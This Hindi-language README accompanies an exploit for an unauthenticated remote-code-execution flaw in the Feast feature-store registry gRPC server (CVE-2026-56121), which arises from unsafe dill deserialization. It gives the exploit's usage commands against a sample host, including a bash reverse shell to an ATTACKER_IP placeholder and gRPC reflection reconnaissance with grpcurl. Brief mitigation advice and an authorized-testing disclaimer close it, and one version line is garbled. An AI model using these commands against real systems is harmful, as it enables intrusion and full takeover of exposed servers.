
अप्रमाणित RCE शोषण Feast रजिस्ट्री gRPC सर्वर (CVE-2026-56121) के लिए dill डीसीरियलाइज़ेशन का उपयोग करते हुए। इसमें पेलोड निर्माण, रिवर्स शेल समर्थन, और gRPC रिफ्लेक्शन के माध्यम से लक्ष्य पहचान शामिल है।
Feast फीचर स्टोर के रजिस्ट्री gRPC सर्वर में अप्रमाणित दूरस्थ कोड निष्पादन।
ApplyFeatureView RPC अनुरोध प्रोटो से OnDemandFeatureView का पुनर्निर्माण करता है। ऐसा करते समय यह spec.user_defined_function.body को base64-डिकोड करता है और उसे dill.loads() में पास करता है — किसी भी प्राधिकरण जाँच से पहले। dill, pickle का एक सुपरसेट है, इसलिए एक ऐसी वस्तु जिसका __reduce__ (os.system, (cmd,)) लौटाता है, जैसे ही सर्वर उसे डिसीरियलाइज़ करता है, एक मनमाना कमांड निष्पादित करती है। डिफ़ॉल्ट डिप्लॉयमेंट auth: no_auth भेजता है, इसलिए रजिस्ट्री पोर्ट पर एक अप्रमाणित gRPC अनुरोध ही पर्याप्त है।
< 0.63.00.63.0 में6570 (रजिस्ट्री gRPC)शोषण Feast के स्वयं के जनरेटेड gRPC प्रोटो का पुन: उपयोग करता है, इसलिए आक्रमणकारी के पक्ष में एक अवरोधन योग्य Feast स्थापित करें:
python3 -m venv venv && . venv/bin/activate
pip install "feast==0.62.0" grpcio
# त्वरित जाँच (आउटपुट सर्वर पर दिखाई देता है, स्थानीय रूप से नहीं)
python3 exploit.py 10.10.10.10:6570 -c "id"
# रिवर्स शेल (bash -c रैपर: os.system /bin/sh का उपयोग करता है, जिसमें /dev/tcp नहीं है)
python3 exploit.py 10.10.10.10:6570 -c 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"'
-p/--project प्रोजेक्ट नाम सेट करता है (डिफ़ॉल्ट feature_repo)। कमांड आउटपुट रजिस्ट्री होस्ट के stdout/journal पर मुद्रित होता है, इसलिए परिणाम देखने के लिए रिवर्स शेल का उपयोग करें या पढ़ने योग्य पथ पर लिखें।
रजिस्ट्री में gRPC रिफ्लेक्शन सक्षम है:
grpcurl -plaintext 10.10.10.10:6570 list
# feast.registry.RegistryServer
# grpc.health.v1.Health
# grpc.reflection.v1alpha.ServerReflection
Feast 0.63.0+ पर अपग्रेड करें, एक प्रमाणीकरण बैकएंड सक्षम करें, और रजिस्ट्री gRPC पोर्ट को अविश्वसनीय नेटवर्कों पर कभी एक्सपोज़ न करें।
केवल अधिकृत सुरक्षा परीक्षण और शिक्षा के लिए। इसका उपयोग केवल उन प्रणालियों पर करें जिनके आप मालिक हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट अनुमति है।